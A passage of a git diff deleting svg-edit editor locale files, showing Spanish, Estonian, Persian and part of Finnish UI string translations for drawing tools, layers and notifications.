-		"angle": "Cambiar ángulo de rotación",
-		"blur": "Ajustar desenfoque gausiano",
-		"opacity": "Cambiar la opacidad del objeto seleccionado",
-		"circle_cx": "Cambiar la posición horizonral CX del círculo",
-		"circle_cy": "Cambiar la posición vertical CY del círculo",
-		"circle_r": "Cambiar el radio del círculo",
-		"ellipse_cx": "Cambiar la posición horizontal CX de la elipse",
-		"ellipse_cy": "Cambiar la posición vertical CY de la elipse",
-		"ellipse_rx": "Cambiar el radio horizontal X de la elipse",
-		"ellipse_ry": "Cambiar el radio vertical Y de la elipse",
-		"line_x1": "Cambiar la posición horizontal X del comienzo de la línea",
-		"line_x2": "Cambiar la posición horizontal X del final de la línea",
-		"line_y1": "Cambiar la posición vertical Y del comienzo de la línea",
-		"line_y2": "Cambiar la posición vertical Y del final de la línea",
-		"rect_height": "Cambiar la altura del rectángulo",
-		"rect_width": "Cambiar el ancho rectángulo",
-		"corner_radius": "Cambiar el radio de las esquinas del rectángulo",
-		"image_width": "Cambiar el ancho de la imagen",
-		"image_height": "Cambiar la altura de la imagen",
-		"image_url": "Modificar URL",
-		"node_x": "Cambiar la posición horizontal X del nodo",
-		"node_y": "Cambiar la posición vertical Y del nodo",
-		"seg_type": "Cambiar el tipo de segmento",
-		"straight_segments": "Recta",
-		"curve_segments": "Curva",
-		"text_contents": "Modificar el texto",
-		"font_family": "Tipo de fuente",
-		"font_size": "Tamaño de la fuente",
-		"bold": "Texto en negrita",
-		"italic": "Texto en cursiva"
-	},
-	tools: { 
-		"main_menu": "Menú principal",
-		"bkgnd_color_opac": "Cambiar color de fondo / opacidad",
-		"connector_no_arrow": "Sin flecha",
-		"fitToContent": "Ajustar al contenido",
-		"fit_to_all": "Ajustar a todo el contenido",
-		"fit_to_canvas": "Ajustar al lienzo",
-		"fit_to_layer_content": "Ajustar al contenido de la capa",
-		"fit_to_sel": "Ajustar a la selección",
-		"align_relative_to": "Alinear con respecto a ...",
-		"relativeTo": "en relación con:",
-		"Página": "Página",
-		"largest_object": "El objeto más grande",
-		"selected_objects": "Objetos seleccionados",
-		"smallest_object": "El objeto más pequeño",
-		"new_doc": "Nueva imagen",
-		"open_doc": "Abrir imagen",
-		"export_png": "Exportar como PNG",
-		"save_doc": "Guardar imagen",
-		"import_doc": "Importar un archivo SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Alinear parte inferior",
-		"align_center": "Centrar verticalmente",
-		"align_left": "Alinear lado izquierdo",
-		"align_middle": "Centrar horizontalmente",
-		"align_right": "Alinear lado derecho",
-		"align_top": "Alinear parte superior",
-		"mode_select": "Herramienta de selección",
-		"mode_fhpath": "Herramienta de lápiz",
-		"mode_line": "Trazado de líneas",
-		"mode_connect": "Conectar dos objetos",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Rectángulo a mano alzada",
-		"mode_ellipse": "Elipse",
-		"mode_circle": "Círculo",
-		"mode_fhellipse": "Elipse a mano alzada",
-		"mode_path": "Herramienta de trazado",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Insertar texto",
-		"mode_image": "Insertar imagen",
-		"mode_zoom": "Zoom",
-		"mode_eyedropper": "Herramienta de pipeta",
-		"no_embed": "NOTA: La imagen no puede ser integrada. El contenido mostrado dependerá de la imagen ubicada en esta ruta. ",
-		"undo": "Deshacer",
-		"redo": "Rehacer",
-		"tool_source": "Editar código fuente",
-		"wireframe_mode": "Modo marco de alambre",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Agrupar objetos",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convertir a trazado",
-		"reorient_path": "Reorientar el trazado",
-		"ungroup": "Desagrupar objetos",
-		"docprops": "Propiedades del documento",
-		"imagelib": "Image Library",
-		"move_bottom": "Mover abajo",
-		"move_top": "Mover arriba",
-		"node_clone": "Clonar nodo",
-		"node_delete": "Suprimir nodo",
-		"node_link": "Enlazar puntos de control",
-		"add_subpath": "Añadir subtrazado",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Aplicar cambios",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"suprimir": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Capa",
-		"layers": "Layers",
-		"del": "Suprimir capa",
-		"move_down": "Mover la capa hacia abajo",
-		"new": "Nueva capa",
-		"rename": "Renombrar capa",
-		"move_up": "Mover la capa hacia arriba",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Desplazar objetos a:",
-		"move_selected": "Mover los objetos seleccionados a otra capa"
-	},
-	config: {
-		"image_props": "Propiedades de la Imagen",
-		"doc_title": "Título",
-		"doc_dims": "Tamaño del lienzo",
-		"included_images": "Imágenes integradas",
-		"image_opt_embed": "Integrar imágenes en forma de datos (archivos locales)",
-		"image_opt_ref": "Usar la referencia del archivo",
-		"editor_prefs": "Preferencias del Editor",
-		"icon_size": "Tamaño de los iconos",
-		"language": "Idioma",
-		"background": "Fondo del editor",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Nota: El fondo no se guardará junto con la imagen.",
-		"icon_large": "Grande",
-		"icon_medium": "Mediano",
-		"icon_small": "Pequeño",
-		"icon_xlarge": "Muy grande",
-		"select_predefined": "Seleccionar predefinido:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Valor no válido",
-		"noContentToFitTo":"No existe un contenido al que ajustarse.",
-		"dupeLayerName":"¡Ya existe una capa con este nombre!",
-		"enterUniqueLayerName":"Introduzca otro nombre distinto para la capa.",
-		"enterNewLayerName":"Introduzca el nuevo nombre de la capa.",
-		"layerHasThatName":"El nombre introducido es el nombre actual de la capa.",
-		"QmoveElemsToLayer":"¿Desplazar los elementos seleccionados a la capa '%s'?",
-		"QwantToClear":"¿Desea borrar el dibujo?\n¡El historial de acciones también se borrará!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Existen errores sintácticos en su código fuente SVG.\n¿Desea volver al código fuente SVG original?",
-		"QignoreSourceChanges":"¿Desea ignorar los cambios realizados sobre el código fuente SVG?",
-		"featNotSupported":"Función no compatible.",
-		"enterNewImgURL":"Introduzca la nueva URL de la imagen.",
-		"defsFailOnSave": "NOTA: Debido a un fallo de su navegador, es posible que la imagen aparezca de forma incorrecta (ciertas gradaciones o elementos podría perderse). La imagen aparecerá en su forma correcta una vez guardada.",
-		"loadingImage":"Cargando imagen. Espere, por favor.",
-		"saveFromBrowser": "Seleccionar \"Guardar como...\" en su navegador para guardar la imagen en forma de archivo %s.",
-		"noteTheseIssues": "Existen además los problemas siguientes:",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.et.js b/public/svg-edit/editor/locale/lang.et.js
deleted file mode 100644
index 436c509c..00000000
--- a/public/svg-edit/editor/locale/lang.et.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "et",
-	dir : "ltr",
-	common: {
-		"ok": "Salvestama",
-		"cancel": "Tühista",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click muuta täitke värvi, Shift-nuppu, et muuta insult värvi",
-		"zoom_level": "Muuda suumi taset",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Muuda täitke värvi",
-		"stroke_color": "Muuda insult värvi",
-		"stroke_style": "Muuda insult kriips stiil",
-		"stroke_width": "Muuda insult laius",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Muuda Pöördenurk",
-		"blur": "Change gaussian blur value",
-		"opacity": "Muuda valitud elemendi läbipaistmatus",
-		"circle_cx": "Muuda ringi&#39;s cx kooskõlastada",
-		"circle_cy": "Muuda ringi&#39;s cy kooskõlastada",
-		"circle_r": "Muuda ring on raadiusega",
-		"ellipse_cx": "Muuda ellips&#39;s cx kooskõlastada",
-		"ellipse_cy": "Muuda ellips&#39;s cy kooskõlastada",
-		"ellipse_rx": "Muuda ellips&#39;s x raadius",
-		"ellipse_ry": "Muuda ellips&#39;s y raadius",
-		"line_x1": "Muuda rööbastee algab x-koordinaadi",
-		"line_x2": "Muuda Line lõpeb x-koordinaadi",
-		"line_y1": "Muuda rööbastee algab y-koordinaadi",
-		"line_y2": "Muuda Line lõppenud y-koordinaadi",
-		"rect_height": "Muuda ristküliku kõrgus",
-		"rect_width": "Muuda ristküliku laius",
-		"corner_radius": "Muuda ristkülik Nurgakabe Raadius",
-		"image_width": "Muuda pilt laius",
-		"image_height": "Muuda pilt kõrgus",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Muuda teksti sisu",
-		"font_family": "Muutke Kirjasinperhe",
-		"font_size": "Change font size",
-		"bold": "Rasvane kiri",
-		"italic": "Kursiiv"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Muuda tausta värvi / läbipaistmatus",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Sobita kogu sisu",
-		"fit_to_canvas": "Sobita lõuend",
-		"fit_to_layer_content": "Sobita kiht sisu",
-		"fit_to_sel": "Fit valiku",
-		"align_relative_to": "Viia võrreldes ...",
-		"relativeTo": "võrreldes:",
-		"lehekülg": "lehekülg",
-		"largest_object": "suurim objekt",
-		"selected_objects": "valitud objektide",
-		"smallest_object": "väikseim objekt",
-		"new_doc": "Uus pilt",
-		"open_doc": "Pildi avamine",
-		"export_png": "Export as PNG",
-		"save_doc": "Salvesta pilt",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Viia Bottom",
-		"align_center": "Keskele joondamine",
-		"align_left": "Vasakjoondus",
-		"align_middle": "Viia Lähis -",
-		"align_right": "Paremjoondus",
-		"align_top": "Viia Üles",
-		"mode_select": "Vali Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Online-Hand Ristkülik",
-		"mode_ellipse": "Ellips",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Online-Hand Ellips",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekst Tool",
-		"mode_image": "Pilt Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Muuda Allikas",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Rühma elemendid",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Lõhu Elements",
-		"docprops": "Dokumendi omadused",
-		"imagelib": "Image Library",
-		"move_bottom": "Liiguta alla",
-		"move_top": "Liiguta üles",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Salvestama",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Kustuta Kiht",
-		"move_down": "Liiguta kiht alla",
-		"new": "Uus kiht",
-		"rename": "Nimeta kiht",
-		"move_up": "Liiguta kiht üles",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Valige eelmääratletud:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.fa.js b/public/svg-edit/editor/locale/lang.fa.js
deleted file mode 100644
index 2d4d6aae..00000000
--- a/public/svg-edit/editor/locale/lang.fa.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "fa",
-	dir : "ltr",
-	common: {
-		"ok": "‫تأیید‬",
-		"cancel": "‫لغو‬",
-		"key_backspace": "‫پس بر ‬", 
-		"key_del": "‫حذف ‬", 
-		"key_down": "‫پایین ‬", 
-		"key_up": "‫بالا ‬", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "‫برای تغییر رنگ، کلیک کنید. برای تغییر رنگ لبه، کلید تبدیل (shift) را فشرده و کلیک کنید‬",
-		"zoom_level": "‫تغییر بزرگ نمایی‬",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "‫تغییر رنگ‬",
-		"stroke_color": "‫تغییر رنگ لبه‬",
-		"stroke_style": "‫تغییر نقطه چین لبه‬",
-		"stroke_width": "‫تغییر عرض لبه‬",
-		"pos_x": "‫تغییر مختصات X‬",
-		"pos_y": "‫تغییر مختصات Y‬",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "‫تغییر زاویه چرخش‬",
-		"blur": "Change gaussian blur value",
-		"opacity": "‫تغییر تاری عنصر انتخاب شده‬",
-		"circle_cx": "‫تغییر مختصات cx دایره‬",
-		"circle_cy": "‫تغییر مختصات cy دایره‬",
-		"circle_r": "‫تغییر شعاع دایره‬",
-		"ellipse_cx": "‫تغییر مختصات cx بیضی‬",
-		"ellipse_cy": "‫تغییر مختصات cy بیضی‬",
-		"ellipse_rx": "‫تغییر شعاع rx بیضی‬",
-		"ellipse_ry": "‫تغییر شعاع ry بیضی‬",
-		"line_x1": "‫تغییر مختصات x آغاز خط‬",
-		"line_x2": "‫تغییر مختصات x پایان خط‬",
-		"line_y1": "‫تغییر مختصات y آغاز خط‬",
-		"line_y2": "‫تغییر مختصات y پایان خط‬",
-		"rect_height": "‫تغییر ارتفاع مستطیل‬",
-		"rect_width": "‫تغییر عرض مستطیل‬",
-		"corner_radius": "‫شعاع گوشه:‬",
-		"image_width": "‫تغییر عرض تصویر‬",
-		"image_height": "‫تغییر ارتفاع تصویر‬",
-		"image_url": "‫تغییر نشانی وب (url)‬",
-		"node_x": "‫تغییر مختصات x نقطه‬",
-		"node_y": "‫تغییر مختصات y نقطه‬",
-		"seg_type": "‫تغییر نوع قطعه (segment)‬",
-		"straight_segments": "‫مستقیم‬",
-		"curve_segments": "‫منحنی‬",
-		"text_contents": "‫تغییر محتویات متن‬",
-		"font_family": "‫تغییر خانواده قلم‬",
-		"font_size": "‫تغییر اندازه قلم‬",
-		"bold": "‫متن توپر ‬",
-		"italic": "‫متن کج ‬"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "‫تغییر رنگ پس زمینه / تاری‬",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "‫هم اندازه شدن با محتوا‬",
-		"fit_to_all": "‫هم اندازه شدن با همه محتویات‬",
-		"fit_to_canvas": "‫هم اندازه شدن با صفحه مجازی (بوم)‬",
-		"fit_to_layer_content": "‫هم اندازه شدن با محتوای لایه‬",
-		"fit_to_sel": "‫هم اندازه شدن با اشیاء انتخاب شده‬",
-		"align_relative_to": "‫تراز نسبت به ...‬",
-		"relativeTo": "‫نسبت به:‬",
-		"‫صفحه‬": "‫صفحه‬",
-		"largest_object": "‫بزرگترین شئ‬",
-		"selected_objects": "‫اشیاء انتخاب شده‬",
-		"smallest_object": "‫کوچکترین شئ‬",
-		"new_doc": "‫تصویر جدید ‬",
-		"open_doc": "‫باز کردن تصویر ‬",
-		"export_png": "Export as PNG",
-		"save_doc": "‫ذخیره تصویر ‬",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "‫تراز پایین‬",
-		"align_center": "‫وسط چین‬",
-		"align_left": "‫چپ چین‬",
-		"align_middle": "‫تراز میانه‬",
-		"align_right": "‫راست چین‬",
-		"align_top": "‫تراز بالا‬",
-		"mode_select": "‫ابزار انتخاب ‬",
-		"mode_fhpath": "‫ابزار مداد ‬",
-		"mode_line": "‫ابزار خط ‬",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "‫مستطیل با قابلیت تغییر پویا‬",
-		"mode_ellipse": "‫بیضی‬",
-		"mode_circle": "‫دایره‬",
-		"mode_fhellipse": "‫بیضی با قابلیت تغییر پویا‬",
-		"mode_path": "‫ابزار مسیر ‬",
-		"mode_shapelib": "Shape library",
-		"mode_text": "‫ابزار متن ‬",
-		"mode_image": "‫ابزار تصویر ‬",
-		"mode_zoom": "‫ابزار بزرگ نمایی ‬",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "‫واگرد ‬",
-		"redo": "‫ازنو ‬",
-		"tool_source": "‫ویرایش منبع ‬",
-		"wireframe_mode": "‫حالت نمایش لبه ها ‬",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "‫قرار دادن عناصر در گروه ‬",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "‫تبدیل به مسیر‬",
-		"reorient_path": "‫جهت دهی مجدد مسیر‬",
-		"ungroup": "‫خارج کردن عناصر از گروه ‬",
-		"docprops": "‫مشخصات سند ‬",
-		"imagelib": "Image Library",
-		"move_bottom": "‫انتقال به پایین ترین ‬",
-		"move_top": "‫انتقال به بالاترین ‬",
-		"node_clone": "‫ایجاد کپی از نقطه‬",
-		"node_delete": "‫حذف نقطه‬",
-		"node_link": "‫پیوند دادن نقاط کنترل‬",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "‫اعمال تغییرات‬",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"‫حذف ‬": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"‫لایه‬",
-		"layers": "Layers",
-		"del": "‫حذف لایه‬",
-		"move_down": "‫انتقال لایه به پایین‬",
-		"new": "‫لایه جدید‬",
-		"rename": "‫تغییر نام لایه‬",
-		"move_up": "‫انتقال لایه به بالا‬",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "‫انتقال عناصر به:‬",
-		"move_selected": "‫انتقال عناصر انتخاب شده به یک لایه متفاوت‬"
-	},
-	config: {
-		"image_props": "‫مشخصات تصویر‬",
-		"doc_title": "‫عنوان‬",
-		"doc_dims": "‫ابعاد صفحه مجازی (بوم)‬",
-		"included_images": "‫تصاویر گنجانده شده‬",
-		"image_opt_embed": "‫داده های جای داده شده (پرونده های محلی)‬",
-		"image_opt_ref": "‫استفاده از ارجاع به پرونده‬",
-		"editor_prefs": "‫تنظیمات ویراستار‬",
-		"icon_size": "‫اندازه شمایل‬",
-		"language": "‫زبان‬",
-		"background": "‫پس زمینه ویراستار‬",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "‫توجه: پس زمینه همراه تصویر ذخیره نخواهد شد.‬",
-		"icon_large": "‫بزرگ‬",
-		"icon_medium": "‫متوسط‬",
-		"icon_small": "‫کوچک‬",
-		"icon_xlarge": "‫خیلی بزرگ‬",
-		"select_predefined": "‫از پیش تعریف شده را انتخاب کنید:‬",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"‫مقدار داده شده نامعتبر است‬",
-		"noContentToFitTo":"‫محتوایی برای هم اندازه شدن وجود ندارد‬",
-		"dupeLayerName":"‫لایه ای با آن نام وجود دارد!‬",
-		"enterUniqueLayerName":"‫لطفا یک نام لایه یکتا انتخاب کنید‬",
-		"enterNewLayerName":"‫لطفا نام لایه جدید را وارد کنید‬",
-		"layerHasThatName":"‫لایه از قبل آن نام را دارد‬",
-		"QmoveElemsToLayer":"‫عناصر انتخاب شده به لایه '%s' منتقل شوند؟‬",
-		"QwantToClear":"‫آیا مطمئن هستید که می خواهید نقاشی را پاک کنید؟\nاین عمل باعث حذف تاریخچه واگرد شما خواهد شد!‬",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"‫در منبع SVG شما خطاهای تجزیه (parse) وجود داشت.\nبه منبع SVG اصلی بازگردانده شود؟‬",
-		"QignoreSourceChanges":"‫تغییرات اعمال شده در منبع SVG نادیده گرفته شوند؟‬",
-		"featNotSupported":"‫این ویژگی پشتیبانی نشده است‬",
-		"enterNewImgURL":"‫نشانی وب (url) تصویر جدید را وارد کنید‬",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.fi.js b/public/svg-edit/editor/locale/lang.fi.js
deleted file mode 100644
index ecec14c0..00000000
--- a/public/svg-edit/editor/locale/lang.fi.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "fi",
-	dir : "ltr",
-	common: {
-		"ok": "Tallentaa",
-		"cancel": "Peruuta",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klikkaa muuttaa täyttöväri, Shift-click vaihtaa aivohalvauksen väriä",
-		"zoom_level": "Muuta suurennustaso",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Muuta täyttöväri",
-		"stroke_color": "Muuta aivohalvaus väri",
-		"stroke_style": "Muuta aivohalvaus Dash tyyli",
-		"stroke_width": "Muuta aivohalvaus leveys",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Muuta kiertokulma",
-		"blur": "Change gaussian blur value",
-		"opacity": "Muuta valitun kohteen läpinäkyvyys",
-		"circle_cx": "Muuta Circlen CX koordinoida",
-		"circle_cy": "Muuta Circlen CY koordinoida",
-		"circle_r": "Muuta ympyrän säde",
-		"ellipse_cx": "Muuta ellipsi&#39;s CX koordinoida",
-		"ellipse_cy": "Muuta ellipsi&#39;s CY koordinoida",
-		"ellipse_rx": "Muuta ellipsi&#39;s x säde",
-		"ellipse_ry": "Muuta ellipsi n y säde",
-		"line_x1": "Muuta Linen alkaa x-koordinaatti",
-		"line_x2": "Muuta Linen päättyy x koordinoida",
